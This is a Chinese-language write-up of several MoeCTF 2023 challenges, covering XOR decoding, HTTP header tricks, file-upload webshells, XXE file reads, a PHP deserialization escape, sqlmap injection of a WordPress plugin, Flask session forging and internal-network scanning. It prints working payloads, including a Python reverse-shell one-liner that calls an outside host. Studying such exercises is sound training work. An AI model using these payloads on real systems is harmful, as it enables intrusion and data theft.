本文主要是介绍MoeCTF 2023 部分write up,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
目录
- 前言
- 签到题
- hello CTFer
- Basic
- CCCCC
- Python
- runme
- runme2
- MISC
- misc入门指北
- WEB
- http
- web入门指北
- 彼岸的flag
- cookie
- gas!gas!gas!
- moe图床
- 了解你的座驾
- 大海捞针
- meo图床
- 夺命十三枪
- signin
- 出去旅游的心海
- moeworld
- 结语
前言
比赛结束了,终于可以放出来了,当日记记录一下吧,主要是做web,后续一些题目做的也是磕磕碰碰,好在有朋友相助,边做边问,还是做出来了
签到题
hello CTFer
给了个url,直接打开就有flag
然后提交就完了
Basic
CCCCC
给了一个C程序的代码
代码中直接写了flag,运行之后一样能得到结果,这个代码是个解密的过程,密文为mng`pc}OIAKTOR?|Ots`m4k
,然后用一个for循环,对它进行递增的异或运算
Python
题目所给代码为
enc1=[158, 156, 150, 144, 135, 149, 136, 163, 138, 135, 155, 195, 157, 172, 194, 137, 172, 195, 134, 129, 172, 148, 195, 195, 151, 172, 149, 129, 154, 150, 157, 151, 137, 142]
x=lambda x:x^0xff
enc2=[]
for i in enc1: enc2.append(x(i))
key="moectf2023"
flag=""
for i in range(len(enc2)): flag+=chr(((0xf3)&(enc2[i])|((enc2[i])^0xff)&0xc))
print(flag)
也是涉及到异或运算,但最后得到flag,进行的是位或运算
runme
给了一个可执行文件,但是直接运行会闪退,题目说了用cmd运行,运行后得结果
runme2
要用linux系统,那一样的操作属于是
MISC
misc入门指北
给了一个pdf文档,下载后,文末有个字符串,条件反射base64
解码得到
moectf{h@v3_fun_@t_m15c_!}
WEB
http
下载一个叫WSRX的客户端连接一下开环境以后给的地址
然后访问localhost:64824
然后就是完成这些任务,1、2有手就行
5就是将ua头的值换成MoeBrowser
就行
3是将cookie
中的character
的值改为admin就行
4是在数据包添加一个字段
X-Forwarded-For: 127.0.0.1
然后所有任务完成,flag就出了
web入门指北
题目显示要解码得flag
先把附件下载下来看看,解压完是个pdf文档
文档最后发现了一组神秘数字,要解码的应该就是这个了
一眼十六进制,那就转字符一下,写个脚本
original_hex_string = "66 6c 61 67 3d 62 57 39 6c 59 33 52 6d 65 33 63 7a 62 45 4e 76 62 57 56 66 56 47 39 66 62 57 39 6c 51 31 52 47 58 31 63 79 59 6c 39 6a 61 47 46 73 62 47 56 75 5a 30 55 68 49 58 30 3d" # 将空格移除,并将十六进制字符串转换为字节序列
hex_bytes = bytes.fromhex(original_hex_string.replace(" ", "")) # 将字节序列转换为普通字符串
original_string = hex_bytes.decode("utf-8") # 将字符串中的空格替换为 %replaced_string = original_string.replace(" ", "%") print(replaced_string)
结果是个base64编码的字符,看来没有一步出啊
转换后得flag
彼岸的flag
开环境以后,用wsrx连一下,然后访问得到一个聊条记录
然后看源码找就行,一开始搜flag没搜到,就想着搜下ctf,然后就出货了
cookie
下载附件后,解压得到一个文档
开环境之后,直接访问/flag,嗯,确实不可能这么简单,直接就给
那就先注册
先访问/register,然后抓包换成POST类型,然后提交
{"username":"lan1oc","password":"admin123"
}
然后再登录(按照下载的附件操作就行了),然后访问/flag
然后注意到响应中的token是个base64编码的字符串,解码后得到(之前没注意到,就重新注册了然后一顿乱操作才注意到)
那就将user改成admin就行了,然后构造的cookie替换访问/flag
的请求包中的token就有flag了
gas!gas!gas!
感觉像一个游戏
测试了一下,如果没有时间限制,很容易就能通过要求,但是限制了0.5s,那就写个脚本(实际是找大佬要了)
import requests
from time import sleep
import bs4 url = "http://localhost:63283/" session = requests.session() def req(driver, steering_control, throttle): data = { "driver": driver, # 选手 "steering_control": steering_control, # 方向 "throttle": throttle # 油门 } resp = session.post(url, data=data) return resp.text def tq(text): bs4_text = bs4.BeautifulSoup(text, "html.parser").find("h3").text print(bs4_text) return bs4_text def pd(text): if "失误" in text: return False, False if "向右" in text: steering_control = -1 elif "直行" in text: steering_control = 0 elif "向左" in text: steering_control = 1 if "太小" in text: throttle = 0 elif "保持" in text: throttle = 1 elif "太大" in text: throttle = 2 return steering_control, throttle def main(): steering_control = 1 throttle = -1 count = 0 for i in range(7): count+=1 text = req(666666, steering_control, throttle) if "完美" in text: print(text) return 0 a, b = pd(tq(text)) if a is False: return 0 # print(a,b) steering_control, throttle = a, b print(count) session.close() if __name__ == '__main__': main()
脚本跑一下就出来了
moe图床
开环境看到是一个上传的界面
看前端元素发现,只能上传png格式的图片
审了下源码看到有个upload.php,蛮访问下,看到了上传的源码
主要是要绕开png验证就行,可以看到它是以.
分割文件名,然后检测第二部分是不是png,那就将马子改成.png.php
就能绕过验证了
然后访问返回的路径rce,成功
然后emmm环境断了,没事继续,rce好像没成功(那看来后续连蚁剑找到,而rce没成功是因为连接断了的问题),连蚁剑看看,在根目录找到flag
了解你的座驾
明确说在根目录了,那等等到那一步了应该找起来更容易了(?)
开环境后访问,是这样一个界面
选最后一个,然后看到了这。。。🤔
审了下源码,应该是考xxe,然后也说了flag在根目录
那就构建一个触发代码
<?xml version='1.0'?>
<!DOCTYPE a [<!ENTITY % hack SYSTEM "php://filter/convert.base64-encode/resource=file:///flag">%hack;
]>
<xml><name>%hack;</name>
</xml>
然后得到一串base64编码的字符
但是解码结果很怪,所以还得继续找(问会选择哪个🤔)
moectf{Which_one_You've_Chosen?SkTaNRo_Z5LzERd8ACHT5QmANJtwm
后来问了朋友,告诉我要嵌套一下,不能直接引入读文件的外部实体,所以payload改为
<?xml version='1.0'?>
<!DOCTYPE a [<!ENTITY % hack SYSTEM "data:text/plain;base64,PCFFTlRJVFkgJSBmaWxlIFNZU1RFTSAiZmlsZTovLy9mbGFnIj48IUVOVElUWSAlIHRlc3QgU1lTVEVNICVmaWxlOz4=">%hack;
]>
<xml><name>%hack;</name>
</xml>
大海捞针
题目给了环境地址,打开后是要爆破
那爆破以后发现有个长度很突出的,达到2035,然后在响应里搜索了一下就找到了
meo图床
开环境后,跟moe图床那题一样也是一个标准上传页面,看看源码
比moe那道题的少了很多,先做些测试,发现了限制
这次用.png.php
绕过不了了🤔
加个图片头就能绕过了
那传个php文件,也是上传成功
但访问后显示,好像还是没有解析成php文件
确实,从响应中看到,类型是png图片了
然后想着它这个文件名给我加了个随机数,我就直接访问上传的1.php,然后发现了file_get_contents()
,那就试试文件读取,猜flag在根目录
果然,找到了线索,给了flag文件名
嗯然后没找到,直接访问看到了源码
看来是要进行md5碰撞,用数组做,然后出了flag
http://localhost:57189/Fl3g_n0t_Here_dont_peek!!!!!.php?param1[]=collision¶m2[]=alohomora
夺命十三枪
开环境,然后直接就能看到源码
发现有个Hanxin.exe.php
,访问后得到源码
<?php if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) { highlight_file(__FILE__);
} class Deadly_Thirteen_Spears{ private static $Top_Secret_Long_Spear_Techniques_Manual = array( "di_yi_qiang" => "Lovesickness", "di_er_qiang" => "Heartbreak", "di_san_qiang" => "Blind_Dragon", "di_si_qiang" => "Romantic_charm", "di_wu_qiang" => "Peerless", "di_liu_qiang" => "White_Dragon", "di_qi_qiang" => "Penetrating_Gaze", "di_ba_qiang" => "Kunpeng", "di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts", "di_shi_qiang" => "Overlord", "di_shi_yi_qiang" => "Letting_Go", "di_shi_er_qiang" => "Decisive_Victory", "di_shi_san_qiang" => "Unrepentant_Lethality" ); public static function Make_a_Move($move){ foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){ $move = str_replace($index, $movement, $move); } return $move; }
} class Omg_It_Is_So_Cool_Bring_Me_My_Flag{ public $Chant = ''; public $Spear_Owner = 'Nobody'; function __construct($chant){ $this->Chant = $chant; $this->Spear_Owner = 'Nobody'; } function __toString(){ if($this->Spear_Owner !== 'MaoLei'){ return 'Far away from COOL...'; } else{ return "Omg You're So COOOOOL!!! " . getenv('FLAG'); } }
} ?>
ok,看来这题应该是考反序列化🤔,在Deadly_Thirteen_Spears
的Make_a_Move
方法中有str_replace()
函数,那就明了了,要字符串逃逸,跟flag有关的是Omg_It_Is_So_Cool_Bring_Me_My_Flag
的__toString
方法,这个不用管,因为在题目源码里有执行了,不需要我们去看这个魔术方法,跑出flag的条件是$this->Spear_Owner == 'MaoLei'
,那目的就有了:利用逃逸将Spear_Owner
的值改为MaoLei
。
那么先本地测一下,随便输入一个值得到想要的反序列化字符串
测试:
<?php
class Omg_It_Is_So_Cool_Bring_Me_My_Flag{ public $Chant = ''; public $Spear_Owner = 'MaoLei'; function __construct($chant){ $this->Chant = $chant; $this->Spear_Owner = 'MaoLei'; } function __toString(){ if($this->Spear_Owner !== 'MaoLei'){ return 'Far away from COOL...'; } else{ return "Omg You're So COOOOOL!!! " . getenv('FLAG'); } }
}
$a= new Omg_It_Is_So_Cool_Bring_Me_My_Flag(1);
echo serialize($a)
?>
跑出来的结果是O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";i:1;s:11:"Spear_Owner";s:6:"MaoLei";}
这其中只有
s:11:"Spear_Owner";s:6:"MaoLei";}
是我们想要的,这一共有33个字符,但是逃逸的时候,我们需要闭合前面的东西,所以要添加";
,那一共就是35个字符,也就是
";s:11:"Spear_Owner";s:6:"MaoLei";}
然后就是看到这个
public static function Make_a_Move($move){ foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){ $move = str_replace($index, $movement, $move); } return $move; }
这里的$move
就相当于题目源码里的$Chant
,它的值是我们传入get参数值,然后这一段呢,会把$Chant
里的$index
用$movement
替换,$index => $movement
就跟数组$Top_Secret_Long_Spear_Techniques_Manual
里的值一样,$index
就是数组里的索引,$movement
是与索引关联的值,这样变量搞清楚,就是明确目标
要找值比索引多一个字符的那个组合,也就是"di_yi_qiang" => "Lovesickness"
,多一个是因为是用值替换索引,要逃逸的字符是35个,那就要刚好多出35个字符达到这个效果
那payload也可以构建了,因为di_yi_qiang
会被Lovesickness
替换,每替换一次就多一个字符,那替换35次就行了,所以
?chant=di_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}
signin
题目给了附件,是网站源码,这个先放着,打开网页,是个登录界面,并告诉我们默认账号密码是admin:admin
,先登录看看
抓包发现发送的数据是这样的
{"params":"VjJ4b2MxTXdNVmhVV0d4WFltMTRjRmxzVm1GTlJtUnpWR3R3VDJFeWVEQlZiVEV3WVZaWmVXVkVSbFJXTW5kNldWWmtUMU5HU25WalIzQk9UV3hKZVZkVVNYaFZiVVpXVDFoQ1ZHSlhhR2hWYm5CSFpERnNkR0pGZEZCVlZEQTU="}
将它解码以后(base64五次,源码里有展示编码方式)得到
{"username":"admin","password":"admin"}
先试着发包看看
回显为
HTTP/1.0 403 Forbidden
Server: BaseHTTP/0.6 Python/3.11.4
Date: Sat, 30 Sep 2023 05:45:48 GMTYOU CANNOT LOGIN AS ADMIN!
然后联系到源码中,找到了过滤条件
if params.get("username") == "admin": self.send_response(403) self.end_headers() self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!") print("admin") return
if params.get("username") == params.get("password"): self.send_response(403) self.end_headers() self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!") print("same") return
username
的值不能为admin
,password
不能和username
相同,这里想到或许可以去引号的方式绕过,即以下格式构造
{"username":"admin","password":admin}
然后直接这样编码后提交,就引发了异常
![[Pasted image 20230930135505.png]]
然后就是猜出来了,看到一个看不懂的代码
eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"})) # what is it?
写了一大串,应该是对代码中的十六进制数进行异或运算,然后将结果返回表示整数的字节数组,并删除其中的空字符,然后就不懂了,但是看到了signed=True
就想到了1,然后就想着用1去登录
构造,然后base64编码五次
{"username":"1","password":1}
提交之后就出结果了
出去旅游的心海
一开始没啥思路,然后就是看源码,也没找到什么,然后想着看看这个站有啥
然后这个文章引起注意(数据库三个字)
并且旁边有个
然后就尝试找这个文件,因为这一般属于博客的插件什么的,结果源码里没显示
蛮看看网络里的东西,看看是否会请求这个文件,然后找到了一个logger.php
,访问http://101.42.178.83:7770/wordpress/wp-content/plugins/visitor-logging/logger.php
就看到了源码(/wp-content/plugins
说明果然是插件)
<?php
/*
Plugin Name: Visitor auto recorder
Description: Automatically record visitor's identification, still in development, do not use in industry environment!
Author: KoKoMi Still in development! :)
*/ // 不许偷看!这些代码我还在调试呢!
highlight_file(__FILE__); // 加载数据库配置,暂时用硬编码绝对路径
require_once('/var/www/html/wordpress/' . 'wp-config.php'); $db_user = DB_USER; // 数据库用户名
$db_password = DB_PASSWORD; // 数据库密码
$db_name = DB_NAME; // 数据库名称
$db_host = DB_HOST; // 数据库主机 // 我记得可以用wp提供的global $wpdb来操作数据库,等旅游回来再研究一下
// 这些是临时的代码 $ip = $_POST['ip'];
$user_agent = $_POST['user_agent'];
$time = stripslashes($_POST['time']); $mysqli = new mysqli($db_host, $db_user, $db_password, $db_name); // 检查连接是否成功
if ($mysqli->connect_errno) { echo '数据库连接失败: ' . $mysqli->connect_error; exit();
} $query = "INSERT INTO visitor_records (ip, user_agent, time) VALUES ('$ip', '$user_agent', $time)"; // 执行插入
$result = mysqli_query($mysqli, $query); // 检查插入是否成功
if ($result) { echo '数据插入成功';
} else { echo '数据插入失败: ' . mysqli_error($mysqli);
} // 关闭数据库连接
mysqli_close($mysqli); //gpt真好用
源码显示接收三个post参数ip
、user_agent
、time
那这种一看就是可以用sqlmap的,蛮跑下
先发个包看看
ip=1&user_agent=2&time=3
然后回显
那应该是time存在注入了,把这个包文保存下来然后注入了
python sqlmap.py -r "1.txt"
或者直接指定字段
python sqlmap.py -r "1.txt" -p time
ok注进去了,可以看到是时间盲注
接下来就是爆库爆表然后读数据了
python sqlmap.py -r "1.txt" --dbs
python sqlmap.py -r "1.txt" -D wordpress --tables
python sqlmap.py -r "1.txt" -D wordpress -T secret_of_kokomi --dump
moeworld
ok 是渗透题
题目目标是:
本题你将扮演**红队**的身份,以该外网ip入手,并进行内网渗透,最终获取到完整的flag题目环境:http://47.115.201.35:8000/在本次公共环境中渗透测试中,希望你**不要做与获取flag无关的行为,不要删除或篡改flag,不要破坏题目环境,不要泄露题目环境!****注册时请不要使用你常用的密码,本环境密码在后台以明文形式存储**hint.zip 密码请在拿到外网靶机后访问根目录下的**readme**,完成条件后获取环境出现问题,请第一时间联系出题人**xlccccc**对题目有疑问,也可随时询问出题人
然后目标网站是这样
登录进去是这样
应该是要伪造session吧,明说了使用强且随机的字符串作为session的密钥。 app.secret_key = "This-random-secretKey-you-can't-get" + os.urandom(2).hex()
先抓包看看cookie,解码后是这样
{"power":"guest","user":"lan1oc"}.eÐTw.š¼" ³]Ü4ùîVÞ#V̯„Pcw
权限是guest
,那肯定是要改成admin
,然后就是要爆破secret_key
,由os.urandom(2).hex()
可知是个四位的随机数,那就简单爆破一下,先生成字典
import os
with open('dict.txt','w') as f:for i in range(1,10000):#范围自己调,我是调到1000000才爆破出来a="This-random-secretKey-you-can't-get" + os.urandom(2).hex()f.write("\"{}\"\n".format(a))
然后就需要用到一个工具Flask-Unsign
flask-unsign --unsign --cookie "eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6ImxhbjFvYyJ9.ZRkGQA.X6JdhdAb2slYD29UzNAd4vYgYTQ" --wordlist dict.txt
得到密钥之后就用flask-session-cookie-manager来伪造session
先测试密钥看看对不对(就是解密以下coockie)
python flask_session_cookie_manager3.py decode -s This-random-secretKey-you-can't-get1551 -c eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6ImxhbjFvYyJ9.ZRkGQA.X6JdhdAb2slYD29UzNAd4vYgYTQ
然后就是伪造session了
python flask_session_cookie_manager3.py encode -s 'This-random-secretKey-you-can't-get1551' -t "{'power': 'admin', 'user': 'lan1oc'}"
然后就是替换cookie登录,就会发现多了个留言泄露了console的pin
然后扫目录扫了下,得到console页面的url
然后就是反弹shell了,也可以用一个网站来生成命令反弹shell命令生成器
因为是python的console,所以找python代码类型的
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.220.81.169",404));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
然后shell就弹过来了🎉🎊🎉
然后在根目录找到一个flag文件,但是读取后发现只有一半
然后联想到题目要求那到外网靶机shell要看readme
得到
$ cat readme
cat readme
恭喜你通过外网渗透拿下了本台服务器的权限
接下来,你需要尝试内网渗透,本服务器的/app/tools目录下内置了fscan
你需要了解它的基本用法,然后扫描内网的ip段
如果你进行了正确的操作,会得到类似下面的结果
10.1.11.11:22 open
10.1.23.21:8080 open
10.1.23.23:9000 open
将你得到的若干个端口号从小到大排序并以 - 分割,这一串即为hint.zip压缩包的密码(本例中,密码为:22-8080-9000)
注意:请忽略掉xx.xx.xx.1,例如扫出三个ip 192.168.0.1 192.168.0.2 192.168.0.3 ,请忽略掉有关192.168.0.1的所有结果!此为出题人服务器上的其它正常服务
对密码有疑问随时咨询出题人$
好家伙,还要内网渗透了😭,那就先看看内网ip
hostname -i
先扫了172.20.0.4
结果为
172.20.0.1:21 open
172.20.0.2:6379 open
172.20.0.3:3306 open
172.20.0.1:3306 open
172.20.0.1:80 open
172.20.0.2:22 open
172.20.0.4:8080 open
172.20.0.1:22 open
172.20.0.1:888 open
172.20.0.1:7777 open
[*] alive ports len is: 10
再扫172.21.0.3
因为readme中说了,忽略*.*.*.1
的所有结果,所以这个扫描应该没什么用,主要看172.20.0.4
的结果,然后从大到小排列,密码为
22-3306-6379-8080
成功解压hint压缩包,然后将它改成txt后缀就能看到其中内容
当你看到此部分,证明你正确的进行了fscan的操作得到了正确的结果
可以看到,在本内网下还有另外两台服务器
其中一台开启了22(ssh)和6379(redis)端口
另一台开启了3306(mysql)端口
还有一台正是你访问到的留言板服务
接下来,你可能需要搭建代理,从而使你的本机能直接访问到内网的服务器
此处可了解`nps`和`frp`,同样在/app/tools已内置了相应文件
连接代理,推荐`proxychains`
对于mysql服务器,你需要找到其账号密码并成功连接,在数据库中找到flag2
对于redis服务器,你可以学习其相关的渗透技巧,从而获取到redis的权限,并进一步寻找其getshell的方式,最终得到flag3
看来flag是三段的,还有两段要找😑,接下来的内网穿透就不会了,开摆😋
结语
题都算基础,最后的渗透题算是要知识面要拓宽吧,我就是知识面太窄,束手束脚了,然后基础也不行,所以web总体做的还是有点磕磕绊绊的😔
这篇关于MoeCTF 2023 部分write up的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!